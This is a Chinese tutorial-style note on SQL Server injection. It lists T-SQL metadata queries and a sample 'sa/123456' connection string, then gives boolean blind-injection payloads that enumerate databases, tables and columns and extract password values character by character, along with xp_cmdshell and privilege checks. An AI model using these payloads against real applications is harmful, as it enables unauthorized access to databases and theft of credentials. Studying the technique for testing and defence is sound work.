SQL SERVER的注入要点

2023-11-16

SQL SERVER的注入要点

一、SQLServer数据库的查询语句

#函数查询
1.select @@version; 				#查询数据库的版本
2.select host_name(); 				#查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
3.select db_name();					#查询当前数据库名
4.select user;						#查询当前数据库的拥有者,结果为dbo。dbo是每个数据库的默认用户,										具有所有者权限全称:databaseOwner,即DbOwner
5.use tempdb						#切换到tempdb表
6.top n								#查询前n条记录
7.limit 2,3							#查询第2条开始的3条数据,也就是2,3,4
8.select substring('string',2,1)    #截取给定字符串的索引为2的1个字符
9.select ascii('a')                 #查询给定字符串的ascii值
10.select len('string')             #查询给定字符串的长度

#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

#查询数据库
select count(name) from sys.databases     #查询数据库的个数
select name  from sys.databases           #查询数据库的名字
select * from sys.databases               #查询所有数据库的信息

#查询数据表
select * from sysobjects where type='u'  #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U'  #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U'         #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U'            #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')           			#查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')  #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')        #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')        #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..user          #查询test数据库user表的数据的条数
select * from test..user                 #查询test数据库user表的所有数据

二、SQLServer盲注

1.Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  

2.判断xp_cmdshell是否存在存在

and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

3.判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))          //public权限,较低

4.判断数据库的个数

and (select count(name) from sysdatabases)>N

5.判断dbid,一般数据库有多少个,dbid的值就为多少

 and (select count(*) from sysdatabases where dbid=N)=1

6.判断当前数据库名

#判断数据库的长度,由以下得知数据库的长度是8
and len(db_name())>5         //正常显示
and len(db_name())>10        //不正常显示
and len(db_name())>7         //正常显示  
and len(db_name())>8         //不正常显示

#判断数据库字符的ascii值
and ascii(substring(db_name(),1,1))>95   //正常显示
and ascii(substring(db_name(),1,1))>100  //不正常显示
and ascii(substring(db_name(),1,1))>96   //正常显示
and ascii(substring(db_name(),1,1))>97   //不正常显示

#所以数据库的第一个字符的ascii值为97,即为a。
#以此类推,数据库的第二个字符为  and ascii(substring(db_name(),2,1))>97 
         数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97 
#直到爆出数据库最后一位字符,得到数据库名字。

7.根据dbid得到所有数据库名

判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5         //正常显示
and len(db_name(1))>10        //不正常显示
and len(db_name(1))>7         //正常显示  
and len(db_name(1))>8         //不正常显示

判断dbid为2数据库字符的ascii值
and ascii(substring(db_name(2),1,1))>95   //正常显示
and ascii(substring(db_name(2),1,1))>100  //不正常显示
and ascii(substring(db_name(2),1,1))>96   //正常显示
and ascii(substring(db_name(2),1,1))>97   //不正常显示

所以dbid为1数据库的第一个字符的ascii值为97,即为a。

以此类推,数据库的第二个字符为  and ascii(substring(db_name(),2,1))>97 
         数据库的第三个字符为 and ascii(substring(db_name(),3,1))>97 
直到爆出数据库最后一位字符,得到数据库名字。

这里假设我们知道了数据库中存在 test 数据库

8.爆破test数据库中表的个数

and (select count(name) from test..sysobjects where xtype='U')>N

9.爆破test数据库中表的长度和名称

#爆破test数据库中第一个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
#爆破test数据库中第一个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第一个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第一个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
.......

#爆破test数据库中第二个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
#爆破test数据库中第二个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第二个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第二个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
.......

这里假设我们爆出了user表

10.爆破test数据库中user表的列数

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

11.爆破test数据库中user表的列名

爆破test数据库中user表的第一列的长度:
and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
爆破test数据库中user表的第一列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
爆破test数据库中user表的第一列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
爆破test数据库中user表的第一列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
........

爆破test数据库中user表的第二列的长度:
and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
爆破test数据库中user表的第二列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
爆破test数据库中user表的第二列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
爆破test数据库中user表的第二列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
........

这里假设我们爆出了password列

12.爆出test数据库中user表中password列的数据条数

and (select count(*) from test..user)=N

13.爆破test数据库中user表中password列中的数据

#爆破test数据库中user表中password列中第一行数据的长度
and (select top 1 len(password) from test..user  where  password not in (select top 1 id from test..user))>N
#爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
........
 
#爆破test数据库中user表中password列中第二行数据的长度
and (select top 1 len(password) from test..user  where  password not in (select top 2 id from test..user))>N
#爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
........

参考链接:https://blog.csdn.net/qq_36119192/article/details/88679754

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL SERVER的注入要点 的相关文章

  • sql临时表、创建虚拟表、select临时表、多行数据、自定义数据、插入数据

    SELECT FROM VALUES John 25 Jane 30 Mike 35 AS table name name age 方法2 select 1 2 union all select 3 4
  • 【计算机开题报告】家具销售库存管理信息系统

    一 选题的目的 意义及相关研究动态和自己的见解 随着当今社会信息化的发展 电子自动化办公越来越为各人所重视 它能有效地收集 处理各种信息 极大地提高了办事效率 而计算机技术各种软件工作平台不断的发展 又为电子自动化办公的实现提供了良好的前景
  • Nexus5596交换机支持3层需要的子卡

    3层子卡 nexus5596如果没有这块子卡 无法支持3层特性 TEST Cisco N5596 1 show modu Mod Ports Module Type Model Status 1 48 O2 32X10GBase T 16X
  • 神州信息一表通监管合规系统

    什么是 一表通 国家金融监督管理总局为进一步建立健全数据统计监管体系 规范数据报送指标体系 明确检测数据规则 而推行建立的一套新体系监管报送方式 提升校验准确性和信息安全性 近期 国家金融监督管理总局更是进一步加大推动 一表通 的实行试点范
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 拼多多详情API开启运营比价新纪元

    随着互联网的快速发展 电商行业正在迅速崛起 拼多多作为一家新兴的电商平台 凭借其独特的营销策略和创新的商业模式 成为了电商行业的一匹黑马 在拼多多的成功背后 其详情API接口营销起到了至关重要的作用 本文将详细介绍拼多多详情API接口营销的
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 【计算机毕业设计】航空信息管理系统

    传统信息的管理大部分依赖于管理人员的手工登记与管理 然而 随着近些年信息技术的迅猛发展 让许多比较老套的信息管理模式进行了更新迭代 飞机票信息因为其管理内容繁杂 管理数量繁多导致手工进行处理不能满足广大用户的需求 因此就应运而生出相应的航空
  • 【计算机毕业设计】基于web的山东红色旅游信息管理系统

    有效的处理想要的相关信息和如何传播有效的信息 一直是人类不断探索的动力 人类文明火种的传承都是通过了多种媒介作为载体 也是随着社会生产力的发展不断的更新 随着互联网的到来 信息传播与管理都上升了一个新的台阶 并且方便应用的同时也要考虑信息传
  • 【计算机毕业设计】线上招聘问答系统

    计算机网络发展到现在已经好几十年了 在理论上面已经有了很丰富的基础 并且在现实生活中也到处都在使用 可以说 经过几十年的发展 互联网技术已经把地域信息的隔阂给消除了 让整个世界都可以即时通话和联系 极大的方便了人们的生活 所以说 线上招聘问
  • 【计算机毕业设计】学生就业管理系统

    如今社会上各行各业 都喜欢用自己行业的专属软件工作 互联网发展到这个时候 人们已经发现离不开了互联网 新技术的产生 往往能解决一些老技术的弊端问题 因为传统学生就业信息管理难度大 容错率低 管理人员处理数据费工费时 所以专门为解决这个难题开
  • 深入了解 Python MongoDB 操作:排序、删除、更新、结果限制全面解析

    Python MongoDB 排序 对结果进行排序 使用 sort 方法对结果进行升序或降序排序 sort 方法接受一个参数用于 字段名 一个参数用于 方向 升序是默认方向 示例 按名称按字母顺序对结果进行排序 import pymongo
  • 【计算机毕业设计】电影播放平台

    电影播放平台采用B S架构 数据库是MySQL 网站的搭建与开发采用了先进的java进行编写 使用了springboot框架 该系统从两个对象 由管理员和用户来对系统进行设计构建 主要功能包括 个人信息修改 对用户 电影分类 电影信息等功能
  • 【计算机毕业设计】趵突泉景区的智慧导游小程序_5ztvv

    当今社会已经步入了科学技术进步和经济社会快速发展的新时期 国际信息和学术交流也不断加强 计算机技术对经济社会发展和人民生活改善的影响也日益突出 人类的生存和思考方式也产生了变化 传统趵突泉景区的智慧导游采取了人工的管理方法 但这种管理方法存
  • 数据库 | 面试官:一次到底插入多少条数据合适啊?.....面试连环炮

    数据库 面试官 一次到底插入多少条数据合适啊 面试连环炮 数据库插入操作的基础知识 插入数据是数据库操作中的基础 但是 我们程序员将面临随之而来的问题 如何快速有效地插入数据 并保持数据库 性能 当你向数据库中插入数据时 这些数据直接存储到
  • 30天精通Nodejs--第二十天:express-操作mysql

    目录 前言 安装依赖并配置MySQL连接 安装mysql2库 配置连接信息 在Express应用中使用MySQL 结合Express路由实现CRUD操作 整合到主应用 结语 前言 在Node js中使用Expre
  • Mysql中设置只允许指定ip能连接访问(可视化工具的方式)

    场景 Mysql中怎样设置指定ip远程访问连接 Mysql中怎样设置指定ip远程访问连接 navicat for mysql 设置只有某个ip可以远程链接 CSDN博客 前面设置root账户指定ip能连接访问是通过命令行的方式 如果通过可视
  • SAP ERP系统是什么?SAP好用吗?

    A公司是一家传统制造企业 公司曾先后使用过数个管理软件系统 但各部门使用的软件都是单独功能 导致企业日常管理中数据流与信息流相对独立 形成了 信息孤岛 随着公司近年业务规模的快速发展以及客户数量的迅速增加 企业原有的信息系统在销售预测及生产
  • 光波导结构

    摘要 增强现实和混合现实 AR MR 领域的新应用引起了人们对带有光栅区域的光波导系统的越来越多的关注 这些光波导系统用于输入和输出耦合以及扩瞳目的 VirtualLab Fusion为这类系统的仿真和设计提供了几个强大的工具 其中一个是具
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • C语言-数组

    目录 一 一维数组 1 1 数组的创建 1 2 数组的初始化 1 3 一维数组的使用 1 4 一维数组在内存的存储 二 二维数组 2 1 二维数组的创建 2 2 二维数组初始化 2 3 二维数组使用 2 4 二维数组的存储 三 数组越界 四
  • 任意文件查看与下载漏洞

    任意文件查看与下载漏洞 一些网站的业务需求 可能提供文件查看或下载功能 如果对用户查看或下载的文件不做限制 就能够查看或下载任意的文件 可以是源代码文件 敏感文件等等 形成漏洞的原因 存在读取文件的函数 读取文件的路径用户可控且未校验或校验
  • 羊、狼、农夫过河

    题目来自 33条消息 羊 狼 农夫过河 华为OD真题 100 keven000777的博客 CSDN博客 题目内容 这个题目比较重要的地方就是农夫回程时不能携带动物 因此问题就稍微简单了一些 我拜读了这位老哥的文章 并在他的代码基础上修改了
  • React总结7:render()渲染时机

    根据官网表示 JSX是属于一种不可变的对象 即只要一创建就不能被改变 继续我们c Java中的字符串一样 是属于常量范围 不容许改变 不能改变属性啊 孩子节点也不可以改变 这个元素就像电影中的某一帧 是处于一个确定的时间点上 不管你放多少遍
  • 互联网产品经理在线原型设计工具Cacoo(草稿)

    费注册地址 https cacoo com 注册后即可使用 用户交流地址 http www masterchat cn bbs thread 85 1 1 html Cacoo 草稿 简介 实时交互地在线制作图表 Cacoo是在线制作 发布
  • 剑指 Offer 14- I—剪绳子

    题目描述 给你一根长度为 n 的绳子 请把绳子剪成整数长度的 m 段 m n都是整数 n gt 1并且m gt 1 每段绳子的长度记为 k 0 k 1 k m 1 请问 k 0 k 1 k m 1 可能的最大乘积是多少 例如 当绳子的长度是
  • 滚动条的使用

    滚动条需要父盒子有固定的高度宽度 而且父盒子内的内容超过固定的高度宽度并使用overflow auto 就能在相应的位置出现滚动条
  • 波场通过TRON-WEB转账加备注实现

    向转账交易信息中追加 备注信息 await tronWeb transactionBuilder addUpdateData res transaction 备注信息 utf8 对已经添加备注的交易信息进行签名 let sign await
  • phpmyadmin 4.8 版本无法登陆问题

    如图 这个问题困扰题主好久了 今天晚上终于搞定 进入mysql 输入 status 得到以下信息 把 var lib mysql mysql sock 记下来 到phpmyadmin目录下的libraries 编辑config defaul
  • Visio高级使用技巧(未完待续)

    简介 Microsoft Visio是Microsoft Office的组件之一 Office三件套 Word Excel PowerPoint 的铁粉可不能错过它 Visio是一款流程图制作工具和图表绘制软件 具有与Office三件套相似
  • 虚拟机重启网卡失败记录修改方法

    1 使用systemctl status network service命令查看错误详情 2 出现这种报错一般是和 NetworkManager 服务冲突导致的 直接关闭 NetworkManger 服务就好了 关闭NetworkManag
  • 达摩院发布2021十大科技趋势(附PDF版)

    关注ITValue 看企业级最新鲜 最价值报道 刚刚 阿里巴巴达摩院发布2021十大科技趋势 这是达摩院成立三年以来第三次发布年度科技趋势 2020年是不平凡的一年 经历疫情的洗礼 许多行业重启向上而生的螺旋 但疫情并未阻挡科技前进的脚步
  • ELK的优点和局限性

    ELK作为一种开源的日志管理解决方案 具有以下优点 实时性高 ELK可以实现实时索引和搜索 支持高效的日志收集和处理 可以帮助用户及时发现问题和异常 提高系统的响应速度和稳定性 可扩展性强 ELK的架构支持水平扩展和负载均衡 可以根据需要增
  • 为什么打两拍可以消除亚稳态的影响?

    为什么打两拍可以消除亚稳态的影响 首先 我们需要了解什么是亚稳态 看下图 简单来说 就是当时钟信号上升沿到来的时候正好采样的数据也在发生变化 但是对于采样的时钟信号 如果想要采样得到一个稳定值 在clk的上升沿的前一段时间有一个建立时间TS
  • 举例说明使用MATLAB Coder从MATLAB生成C/C++代码步骤

    MATLAB Coder可以从MATLAB代码生成独立的 可读性强 可移植的C C 代码 使用MATLAB Coder产生代码的3个步骤 准备用于产生代码的MATLAB算法 检查MATLAB代码的兼容性 有些matlab代码语句并不能生成c
  • 静态代码检测

    什么是静态代码分析 静态代码分析是一种在软件开发过程中对源代码进行分析的技术 它通过检查代码的结构 语法 语义等方面 以发现潜在的错误 安全漏洞 性能问题等 并提供相应的建议和警告 与动态测试方法 如单元测试 不同 静态代码分析是在代码执行
  • 【用户体验分析报告】 按需加载组件,导致组件渲染卡顿,影响交互体验?组件拆包&预加载方案来了!

    首先 我们看一些针对 如何提升应用首屏加载体验 的文章 提到的必不可少的措施 便是减少首屏幕加载资源的大小 而减少资源大小必然会想到按需加载措施 本文提到的便是一个基于webpack 插件与 react 组件实现的一套研发高度自定义 组件按
  • [Mac SSH]如何在Terminal端删除或修改已上传文件夹

    如何在Terminal删除或修改Github已上传文件夹 Step 1 找到路径 Step 2 修改或删除文件 Step 3 Commit to Github Step 4 Push 修改 Step 1 找到路径 在Terminal 上 c
  • Git教程个人分享:如何将一个本地项目上传至远程仓库的流程

    前言 今天来分享一下 关于Git的一些教程 同时这也是我自己曾今学习Git时候的笔记 之所以更 也是方便后期自己可以去回顾 当然后面也会出一部分关于Git其他操作方面的内容 这次我们分享的是 如何将一个本地项目上传至远程仓库的流程 相信这个
  • SQL SERVER的注入要点

    SQL SERVER的注入要点 一 SQLServer数据库的查询语句 函数查询 1 select version 查询数据库的版本 2 select host name 查询主机名 如果是用navicat远程连接的话 主机名是本地的名字